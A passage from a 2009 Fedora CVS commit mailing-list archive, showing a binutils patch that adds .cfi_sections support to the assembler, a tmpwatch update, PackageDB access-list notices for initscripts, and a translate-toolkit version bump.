-  emit_expr (&exp, DWARF2_FDE_RELOC_SIZE);
+  emit_expr (&exp, addr_size);
 
   augmentation_size = encoding_size (fde->lsda_encoding);
-  out_uleb128 (augmentation_size);		/* Augmentation size.  */
+  if (eh_frame)
+    out_uleb128 (augmentation_size);		/* Augmentation size.  */
 
   if (fde->lsda_encoding != DW_EH_PE_omit)
     {
@@ -1356,7 +1467,8 @@ output_fde (struct fde_entry *fde, struc
 }
 
 static struct cie_entry *
-select_cie_for_fde (struct fde_entry *fde, struct cfi_insn_data **pfirst)
+select_cie_for_fde (struct fde_entry *fde, bfd_boolean eh_frame,
+		    struct cfi_insn_data **pfirst, int align)
 {
   struct cfi_insn_data *i, *j;
   struct cie_entry *cie;
@@ -1477,12 +1589,56 @@ select_cie_for_fde (struct fde_entry *fd
 
   cie->last = i;
   *pfirst = i;
-   
-  output_cie (cie);
+
+  output_cie (cie, eh_frame, align);
 
   return cie;
 }
 
+#ifdef md_reg_eh_frame_to_debug_frame
+static void
+cfi_change_reg_numbers (struct cfi_insn_data *insn)
+{
+  for (; insn; insn = insn->next)
+    switch (insn->insn)
+      {
+      case DW_CFA_advance_loc:
+      case DW_CFA_def_cfa_offset:
+      case DW_CFA_remember_state:
+      case DW_CFA_restore_state:
+      case DW_CFA_GNU_window_save:
+      case CFI_escape:
+	break;
+
+      case DW_CFA_def_cfa:
+      case DW_CFA_offset:
+	insn->u.ri.reg = md_reg_eh_frame_to_debug_frame (insn->u.ri.reg);
+	break;
+
+      case DW_CFA_def_cfa_register:
+      case DW_CFA_undefined:
+      case DW_CFA_same_value:
+      case DW_CFA_restore:
+	insn->u.r = md_reg_eh_frame_to_debug_frame (insn->u.r);
+	break;
+
+      case DW_CFA_register:
+	insn->u.rr.reg1 = md_reg_eh_frame_to_debug_frame (insn->u.rr.reg1);
+	insn->u.rr.reg2 = md_reg_eh_frame_to_debug_frame (insn->u.rr.reg2);
+	break;
+
+      case CFI_val_encoded_addr:
+	insn->u.ea.reg = md_reg_eh_frame_to_debug_frame (insn->u.ea.reg);
+	break;
+
+      default:
+	abort ();
+      }
+}
+#else
+#define cfi_change_reg_numbers(insn) do { } while (0)
+#endif
+
 void
 cfi_finish (void)
 {
@@ -1493,38 +1649,80 @@ cfi_finish (void)
   if (all_fde_data == 0)
     return;
 
-  /* Open .eh_frame section.  */
-  cfi_seg = subseg_new (".eh_frame", 0);
-  bfd_set_section_flags (stdoutput, cfi_seg,
-			 SEC_ALLOC | SEC_LOAD | SEC_DATA
-			 | DWARF2_EH_FRAME_READ_ONLY);
-  subseg_set (cfi_seg, 0);
-  record_alignment (cfi_seg, EH_FRAME_ALIGNMENT);
+  if ((cfi_sections & CFI_EMIT_eh_frame) != 0)
+    {
+      /* Open .eh_frame section.  */
+      cfi_seg = subseg_new (".eh_frame", 0);
+      bfd_set_section_flags (stdoutput, cfi_seg,
+			     SEC_ALLOC | SEC_LOAD | SEC_DATA
+			     | DWARF2_EH_FRAME_READ_ONLY);
+      subseg_set (cfi_seg, 0);
+      record_alignment (cfi_seg, EH_FRAME_ALIGNMENT);
 
 #ifdef md_fix_up_eh_frame
-  md_fix_up_eh_frame (cfi_seg);
+      md_fix_up_eh_frame (cfi_seg);
 #endif
 
-  /* Make sure check_eh_frame doesn't do anything with our output.  */
-  save_flag_traditional_format = flag_traditional_format;
-  flag_traditional_format = 1;
+      /* Make sure check_eh_frame doesn't do anything with our output.  */
+      save_flag_traditional_format = flag_traditional_format;
+      flag_traditional_format = 1;
 
-  for (fde = all_fde_data; fde ; fde = fde->next)
+      for (fde = all_fde_data; fde ; fde = fde->next)
+	{
+	  struct cfi_insn_data *first;
+	  struct cie_entry *cie;
+
+	  if (fde->end_address == NULL)
+	    {
+	      as_bad (_("open CFI at the end of file; missing .cfi_endproc directive"));
+	      fde->end_address = fde->start_address;
+	    }
+
+	  cie = select_cie_for_fde (fde, TRUE, &first, 2);
+	  output_fde (fde, cie, TRUE, first,
+		      fde->next == NULL ? EH_FRAME_ALIGNMENT : 2);
+	}
+
+      flag_traditional_format = save_flag_traditional_format;
+    }
+
+  if ((cfi_sections & CFI_EMIT_debug_frame) != 0)
     {
-      struct cfi_insn_data *first;
-      struct cie_entry *cie;
+      struct cie_entry *cie, *cie_next;
+      int alignment = ffs (DWARF2_ADDR_SIZE (stdoutput)) - 1;
 
-      if (fde->end_address == NULL)
+      for (cie = cie_root; cie; cie = cie_next)
 	{
-	  as_bad (_("open CFI at the end of file; missing .cfi_endproc directive"));
-	  fde->end_address = fde->start_address;
+	  cie_next = cie->next;
+	  free ((void *) cie);
 	}
+      cie_root = NULL;
 
-      cie = select_cie_for_fde (fde, &first);
-      output_fde (fde, cie, first, fde->next == NULL ? EH_FRAME_ALIGNMENT : 2);
-    }
+      /* Open .debug_frame section.  */
+      cfi_seg = subseg_new (".debug_frame", 0);
+      bfd_set_section_flags (stdoutput, cfi_seg,
+			     SEC_READONLY | SEC_DEBUGGING);
+      subseg_set (cfi_seg, 0);
+      record_alignment (cfi_seg, alignment);
+
+      for (fde = all_fde_data; fde ; fde = fde->next)
+	{
+	  struct cfi_insn_data *first;
+	  struct cie_entry *cie;
 
-  flag_traditional_format = save_flag_traditional_format;
+	  if (fde->end_address == NULL)
+	    {
+	      as_bad (_("open CFI at the end of file; missing .cfi_endproc directive"));
+	      fde->end_address = fde->start_address;
+	    }
+
+	  fde->per_encoding = DW_EH_PE_omit;
+	  fde->lsda_encoding = DW_EH_PE_omit;
+	  cfi_change_reg_numbers (fde->data);
+	  cie = select_cie_for_fde (fde, FALSE, &first, alignment);
+	  output_fde (fde, cie, FALSE, first, alignment);
+	}
+    }
 }
 
 #else /* TARGET_USE_CFIPOP */
--- gas/config/tc-ppc.h	5 Sep 2009 07:56:24 -0000	1.40
+++ gas/config/tc-ppc.h	2 Oct 2009 11:33:50 -0000	1.41
@@ -249,6 +249,12 @@ extern int ppc_parse_name (const char *,
 #define md_cleanup() ppc_cleanup ()
 extern void ppc_cleanup (void);
 
+/* ppc uses different register numbers between .eh_frame and .debug_frame.
+   This macro translates the .eh_frame register numbers to .debug_frame
+   register numbers.  */
+#define md_reg_eh_frame_to_debug_frame(regno) \
+  ((regno) == 70 ? 64 /* cr2 */ : (regno))
+
 #define TARGET_USE_CFIPOP 1
 
 #define tc_cfi_frame_initial_instructions ppc_cfi_frame_initial_instructions
--- gas/doc/as.texinfo	29 Sep 2009 14:17:09 -0000	1.210
+++ gas/doc/as.texinfo	2 Oct 2009 11:33:50 -0000	1.211
@@ -4197,6 +4197,15 @@ undefined.
 Each expression is assembled into the next byte.
 
 @node CFI directives
+ at section @code{.cfi_sections @var{section_list}}
+ at cindex @code{cfi_sections} directive
+ at code{.cfi_sections} may be used to specify whether CFI directives
+should emit @code{.eh_frame} section and/or @code{.debug_frame} section.
+If @var{section_list} is @code{.eh_frame}, @code{.eh_frame} is emitted,
+if @var{section_list} is @code{.debug_frame}, @code{.debug_frame} is emitted.
+To emit both use @code{.eh_frame, .debug_frame}.  The default if this
+directive is not used is @code{.cfi_sections .eh_frame}.
+
 @section @code{.cfi_startproc [simple]}
 @cindex @code{cfi_startproc} directive
 @code{.cfi_startproc} is used at the beginning of each function that

binutils-2.19.51.0.14-cxxfilt-java-doc.patch:
 binutils.texi |    5 -----
 1 file changed, 5 deletions(-)

--- NEW FILE binutils-2.19.51.0.14-cxxfilt-java-doc.patch ---
http://sourceware.org/ml/binutils/2009-09/msg00701.html
http://sourceware.org/ml/binutils-cvs/2009-09/msg00335.html

### binutils/ChangeLog	2009/09/29 14:17:04	1.1543
### binutils/ChangeLog	2009/09/29 15:34:08	1.1544
## -1,3 +1,8 @@
+2009-09-29  Nick Clifton  <nickc at redhat.com>
+
+	* doc/binutils.texi (c++filt): Remove spurious description of
+	nonexistent --java command line switch for cxxfilt.
+
 2009-09-29  DJ Delorie  <dj at redhat.com>
 
 	* readelf.c: Add support for RX target.
--- binutils/doc/binutils.texi	2009/09/11 11:16:19	1.154
+++ binutils/doc/binutils.texi	2009/09/29 15:34:08	1.155
@@ -2814,11 +2814,6 @@
 name @code{_foo}.  This option removes the initial underscore.  Whether
 @command{c++filt} removes the underscore by default is target dependent.
 
- at item -j
- at itemx --java
-Prints demangled names using Java syntax.  The default is to use C++
-syntax.
-
 @item -n
 @itemx --no-strip-underscores
 Do not remove the initial underscore.


Index: binutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/F-12/binutils.spec,v
retrieving revision 1.174
retrieving revision 1.175
diff -u -p -r1.174 -r1.175
--- binutils.spec	6 Aug 2009 13:17:59 -0000	1.174
+++ binutils.spec	15 Oct 2009 14:48:13 -0000	1.175
@@ -17,7 +17,7 @@
 Summary: A GNU collection of binary utilities
 Name: %{?cross}binutils%{?_with_debug:-debug}
 Version: 2.19.51.0.14
-Release: 31%{?dist}
+Release: 33%{?dist}
 License: GPLv3+
 Group: Development/Tools
 URL: http://sources.redhat.com/binutils
@@ -32,6 +32,8 @@ Patch06: binutils-2.19.51.0.10-set-long-
 Patch07: binutils-2.19.51.0.10-build-id.patch
 Patch09: binutils-2.19.51.0.11-moxie.patch
 Patch10: binutils-2.19.51.0.14-unique-is-global.patch
+Patch11: binutils-2.19.51.0.14-cxxfilt-java-doc.patch
+Patch12: binutils-2.19.51.0.14-cfi-sections.patch
 
 %if 0%{?_with_debug:1}
 # Define this if you want to skip the strip step and preserve debug info.
@@ -105,6 +107,8 @@ to consider using libelf instead of BFD.
 %patch07 -p0 -b .build-id~
 %patch09 -p0 -b .moxie~
 %patch10 -p0 -b .unique-is-global~
+%patch11 -p0 -b .cxxfilt-java-doc~
+%patch12 -p0 -b .cfi-sections~
 
 # We cannot run autotools as there is an exact requirement of autoconf-2.59.
 
@@ -355,6 +359,12 @@ fi
 %endif # %{isnative}
 
 %changelog
+* Thu Oct 15 2009 Jakub Jelinek <jakub at redhat.com> 2.19.51.0.14-33
+- Add .cfi_sections support.  (PR debug/40521)
+
+* Tue Sep 29 2009 Jan Kratochvil <jan.kratochvil at redhat.com> 2.19.51.0.14-32
+- Remove spurious description of nonexistent --java switch for cxxfilt.
+
 * Thu Aug  6 2009 Jakub Jelinek <jakub at redhat.com> 2.19.51.0.14-31
 - Fix strip on objects with STB_GNU_UNIQUE symbols. (BZ 515700, PR binutils/10492)
 



From mitr at fedoraproject.org  Thu Oct 15 14:50:37 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu, 15 Oct 2009 14:50:37 +0000 (UTC)
Subject: rpms/tmpwatch/devel .cvsignore, 1.27, 1.28 sources, 1.28,
	1.29 tmpwatch.daily, 1.3, 1.4 tmpwatch.spec, 1.41, 1.42
Message-ID: <20091015145037.38D6811C029F@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/tmpwatch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25841

Modified Files:
	.cvsignore sources tmpwatch.daily tmpwatch.spec 
Log Message:
* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 2.9.16-1
- Update to tmpwatch-2.9.16.
- Exclude /tmp/hsperfdata_*.
  Resolves: #527425
- Preserve timestamps where possible.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/devel/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	22 May 2009 11:39:25 -0000	1.27
+++ .cvsignore	15 Oct 2009 14:50:36 -0000	1.28
@@ -1 +1 @@
-tmpwatch-2.9.15.tar.bz2
+tmpwatch-2.9.16.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/devel/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	22 May 2009 11:39:25 -0000	1.28
+++ sources	15 Oct 2009 14:50:36 -0000	1.29
@@ -1 +1 @@
-41ffc6789ffdbf0e35da1ffb655276d1  tmpwatch-2.9.15.tar.bz2
+40eee5c3e3f352c30e532ffc1f0af3a8  tmpwatch-2.9.16.tar.bz2


Index: tmpwatch.daily
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/devel/tmpwatch.daily,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tmpwatch.daily	14 Dec 2007 15:16:29 -0000	1.3
+++ tmpwatch.daily	15 Oct 2009 14:50:36 -0000	1.4
@@ -1,7 +1,8 @@
 #! /bin/sh
 flags=-umc
 /usr/sbin/tmpwatch "$flags" -x /tmp/.X11-unix -x /tmp/.XIM-unix \
-	-x /tmp/.font-unix -x /tmp/.ICE-unix -x /tmp/.Test-unix 10d /tmp
+	-x /tmp/.font-unix -x /tmp/.ICE-unix -x /tmp/.Test-unix \
+	-X '/tmp/hsperfdata_*' 10d /tmp
 /usr/sbin/tmpwatch "$flags" 30d /var/tmp
 for d in /var/{cache/man,catman}/{cat?,X11R6/cat?,local/cat?}; do
     if [ -d "$d" ]; then


Index: tmpwatch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/devel/tmpwatch.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- tmpwatch.spec	27 Jul 2009 06:03:41 -0000	1.41
+++ tmpwatch.spec	15 Oct 2009 14:50:37 -0000	1.42
@@ -1,7 +1,7 @@
 Summary: A utility for removing files based on when they were last accessed
 Name: tmpwatch
-Version: 2.9.15
-Release: 2
+Version: 2.9.16
+Release: 1%{?dist}
 URL: https://fedorahosted.org/tmpwatch/
 Source0: https://fedorahosted.org/releases/t/m/tmpwatch/tmpwatch-%{version}.tar.bz2
 Source1: tmpwatch.daily
@@ -26,7 +26,8 @@ make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
-make ROOT=%{buildroot} SBINDIR=%{_sbindir} MANDIR=%{_mandir} install
+make ROOT=%{buildroot} SBINDIR=%{_sbindir} MANDIR=%{_mandir} \
+	INSTALL='install -p' install
 
 mkdir -p %{buildroot}%{_bindir}
 # The $(...) computes /usr/bin => ../../
@@ -34,7 +35,7 @@ ln -s $(echo %{_bindir} |sed 's,/[^/]\+,
    %{buildroot}%{_bindir}/tmpwatch
 
 mkdir -p %{buildroot}/etc/cron.daily
-cp %{SOURCE1} %{buildroot}/etc/cron.daily/tmpwatch
+install -p %{SOURCE1} %{buildroot}/etc/cron.daily/tmpwatch
 chmod +x %{buildroot}/etc/cron.daily/tmpwatch
 
 %clean
@@ -49,6 +50,12 @@ rm -rf %{buildroot}
 %config(noreplace) /etc/cron.daily/tmpwatch
 
 %changelog
+* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 2.9.16-1
+- Update to tmpwatch-2.9.16.
+- Exclude /tmp/hsperfdata_*.
+  Resolves: #527425
+- Preserve timestamps where possible.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.9.15-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Thu Oct 15 15:00:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:00:55 +0000
Subject: [pkgdb] initscripts: plautrba has requested watchbugzilla
Message-ID: <20091015150056.0DD7610F85A@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchbugzilla acl on initscripts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:00:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:00:56 +0000
Subject: [pkgdb] initscripts: plautrba has requested watchcommits
Message-ID: <20091015150056.2BEB110F889@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchcommits acl on initscripts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:01:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:01:19 +0000
Subject: [pkgdb] initscripts: plautrba has requested watchbugzilla
Message-ID: <20091015150120.1A49A10F882@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchbugzilla acl on initscripts (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:01:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:01:33 +0000
Subject: [pkgdb] initscripts: plautrba has requested watchcommits
Message-ID: <20091015150133.968DD10F882@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchcommits acl on initscripts (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:01:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:01:40 +0000
Subject: [pkgdb] initscripts: plautrba has requested watchbugzilla
Message-ID: <20091015150140.BFC4410F8A9@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchbugzilla acl on initscripts (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:01:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:01:45 +0000
Subject: [pkgdb] initscripts: plautrba has requested watchcommits
Message-ID: <20091015150146.05CB210F87F@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchcommits acl on initscripts (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From mitr at fedoraproject.org  Thu Oct 15 15:02:13 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu, 15 Oct 2009 15:02:13 +0000 (UTC)
Subject: rpms/tmpwatch/F-12 .cvsignore, 1.27, 1.28 sources, 1.28,
	1.29 tmpwatch.daily, 1.3, 1.4 tmpwatch.spec, 1.41, 1.42
Message-ID: <20091015150214.07A4511C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/tmpwatch/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28493

Modified Files:
	.cvsignore sources tmpwatch.daily tmpwatch.spec 
Log Message:
* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 2.9.16-1
- Update to tmpwatch-2.9.16.
- Exclude /tmp/hsperfdata_*.
  Resolves: #527425
- Preserve timestamps where possible.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/F-12/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	22 May 2009 11:39:25 -0000	1.27
+++ .cvsignore	15 Oct 2009 15:02:13 -0000	1.28
@@ -1 +1 @@
-tmpwatch-2.9.15.tar.bz2
+tmpwatch-2.9.16.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/F-12/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	22 May 2009 11:39:25 -0000	1.28
+++ sources	15 Oct 2009 15:02:13 -0000	1.29
@@ -1 +1 @@
-41ffc6789ffdbf0e35da1ffb655276d1  tmpwatch-2.9.15.tar.bz2
+40eee5c3e3f352c30e532ffc1f0af3a8  tmpwatch-2.9.16.tar.bz2


Index: tmpwatch.daily
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/F-12/tmpwatch.daily,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tmpwatch.daily	14 Dec 2007 15:16:29 -0000	1.3
+++ tmpwatch.daily	15 Oct 2009 15:02:13 -0000	1.4
@@ -1,7 +1,8 @@
 #! /bin/sh
 flags=-umc
 /usr/sbin/tmpwatch "$flags" -x /tmp/.X11-unix -x /tmp/.XIM-unix \
-	-x /tmp/.font-unix -x /tmp/.ICE-unix -x /tmp/.Test-unix 10d /tmp
+	-x /tmp/.font-unix -x /tmp/.ICE-unix -x /tmp/.Test-unix \
+	-X '/tmp/hsperfdata_*' 10d /tmp
 /usr/sbin/tmpwatch "$flags" 30d /var/tmp
 for d in /var/{cache/man,catman}/{cat?,X11R6/cat?,local/cat?}; do
     if [ -d "$d" ]; then


Index: tmpwatch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tmpwatch/F-12/tmpwatch.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- tmpwatch.spec	27 Jul 2009 06:03:41 -0000	1.41
+++ tmpwatch.spec	15 Oct 2009 15:02:13 -0000	1.42
@@ -1,7 +1,7 @@
 Summary: A utility for removing files based on when they were last accessed
 Name: tmpwatch
-Version: 2.9.15
-Release: 2
+Version: 2.9.16
+Release: 1%{?dist}
 URL: https://fedorahosted.org/tmpwatch/
 Source0: https://fedorahosted.org/releases/t/m/tmpwatch/tmpwatch-%{version}.tar.bz2
 Source1: tmpwatch.daily
@@ -26,7 +26,8 @@ make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
-make ROOT=%{buildroot} SBINDIR=%{_sbindir} MANDIR=%{_mandir} install
+make ROOT=%{buildroot} SBINDIR=%{_sbindir} MANDIR=%{_mandir} \
+	INSTALL='install -p' install
 
 mkdir -p %{buildroot}%{_bindir}
 # The $(...) computes /usr/bin => ../../
@@ -34,7 +35,7 @@ ln -s $(echo %{_bindir} |sed 's,/[^/]\+,
    %{buildroot}%{_bindir}/tmpwatch
 
 mkdir -p %{buildroot}/etc/cron.daily
-cp %{SOURCE1} %{buildroot}/etc/cron.daily/tmpwatch
+install -p %{SOURCE1} %{buildroot}/etc/cron.daily/tmpwatch
 chmod +x %{buildroot}/etc/cron.daily/tmpwatch
 
 %clean
@@ -49,6 +50,12 @@ rm -rf %{buildroot}
 %config(noreplace) /etc/cron.daily/tmpwatch
 
 %changelog
+* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 2.9.16-1
+- Update to tmpwatch-2.9.16.
+- Exclude /tmp/hsperfdata_*.
+  Resolves: #527425
+- Preserve timestamps where possible.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.9.15-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From dwayne at fedoraproject.org  Thu Oct 15 15:05:15 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Thu, 15 Oct 2009 15:05:15 +0000 (UTC)
Subject: rpms/translate-toolkit/F-12 .cvsignore, 1.18, 1.19 sources, 1.19,
	1.20 translate-toolkit.spec, 1.35,
	1.36 translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch, 1.1, NONE
Message-ID: <20091015150515.848D311C00DB@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/translate-toolkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29545

Modified Files:
	.cvsignore sources translate-toolkit.spec 
Removed Files:
	translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch 
Log Message:
* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
- Update to 1.4.1
   - Better support for printf (including numbered) variables (bug 1118)
   - Fixes for the upcoming Pootle, including combined searches (bug 1036)
   - subtle bug in tmserver handling of the percent sign (%) (bug 1101)
   - obsolete messages seen as translatable (bug 1114)
- Drop patch bug#1114 - obsolete messages should not be translatable



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-12/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	5 Aug 2009 05:46:57 -0000	1.18
+++ .cvsignore	15 Oct 2009 15:05:15 -0000	1.19
@@ -1 +1 @@
-translate-toolkit-1.4.0.tar.bz2
+translate-toolkit-1.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-12/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	5 Aug 2009 05:46:57 -0000	1.19
+++ sources	15 Oct 2009 15:05:15 -0000	1.20
@@ -1 +1 @@
-e588e04d6a71975f62dc96828824a510  translate-toolkit-1.4.0.tar.bz2
+820158835f7f8953c4a8b807f7b22f3c  translate-toolkit-1.4.1.tar.bz2


Index: translate-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-12/translate-toolkit.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- translate-toolkit.spec	24 Aug 2009 14:53:59 -0000	1.35
+++ translate-toolkit.spec	15 Oct 2009 15:05:15 -0000	1.36
@@ -1,19 +1,17 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           translate-toolkit
-Version:        1.4.0
-Release:        2%{?dist}
+Version:        1.4.1
+Release:        1%{?dist}
 Summary:        Tools to assist with translation and software localization
 
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://translate.sourceforge.net/wiki/toolkit/index
-Source0:        http://downloads.sourceforge.net/project/translate/Translate%20Toolkit/1.4.0/%{name}-%{version}.tar.bz2
+Source0:        http://downloads.sourceforge.net/project/translate/Translate%20Toolkit/%{version}/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch0:         translate-toolkit-1.2.1-stoplist.patch
-# Bug 1114
-Patch1:         translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch
 
 BuildArch:      noarch
 BuildRequires:  python-devel
@@ -70,7 +68,6 @@ toolkit or to use the libraries in other
 %prep
 %setup -q
 %patch0 -p1
-%patch1 -p2
 
 
 %build
@@ -125,7 +122,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-2
+* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
+- Update to 1.4.1
+   - Better support for printf (including numbered) variables (bug 1118)
+   - Fixes for the upcoming Pootle, including combined searches (bug 1036)
+   - subtle bug in tmserver handling of the percent sign (%) (bug 1101)
+   - obsolete messages seen as translatable (bug 1114)
+- Drop patch bug#1114 - obsolete messages should not be translatable
+
+* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-2
 - Upstream bug #1114 - obsolete messages should not be translatable
 
 * Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-1


--- translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch DELETED ---



From pkgdb at fedoraproject.org  Thu Oct 15 15:06:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:06:41 +0000
Subject: [pkgdb] initscripts had acl change status
Message-ID: <20091015150641.D2FD610F850@bastion2.fedora.phx.redhat.com>

notting has set the watchbugzilla acl on initscripts (Fedora devel) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:06:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:06:42 +0000
Subject: [pkgdb] initscripts had acl change status
Message-ID: <20091015150642.BF9F510F87F@bastion2.fedora.phx.redhat.com>

notting has set the watchcommits acl on initscripts (Fedora devel) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:06:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:06:57 +0000
Subject: [pkgdb] initscripts had acl change status
Message-ID: <20091015150657.A578D10F85F@bastion2.fedora.phx.redhat.com>

notting has set the watchbugzilla acl on initscripts (Fedora 11) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:06:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:06:58 +0000
Subject: [pkgdb] initscripts had acl change status
Message-ID: <20091015150658.C5EC310F8A3@bastion2.fedora.phx.redhat.com>

notting has set the watchcommits acl on initscripts (Fedora 11) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:07:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:07:01 +0000
Subject: [pkgdb] initscripts had acl change status
Message-ID: <20091015150701.03BBB10F8A9@bastion2.fedora.phx.redhat.com>

notting has set the watchcommits acl on initscripts (Fedora 12) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From pkgdb at fedoraproject.org  Thu Oct 15 15:07:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 15:07:02 +0000
Subject: [pkgdb] initscripts had acl change status
Message-ID: <20091015150702.F0E4D10F8AD@bastion2.fedora.phx.redhat.com>

notting has set the watchbugzilla acl on initscripts (Fedora 12) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/initscripts



From dwalsh at fedoraproject.org  Thu Oct 15 15:08:43 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 15:08:43 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.134,
	1.135 setroubleshoot.spec, 1.174, 1.175 sources, 1.147, 1.148
Message-ID: <20091015150843.58D8B11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

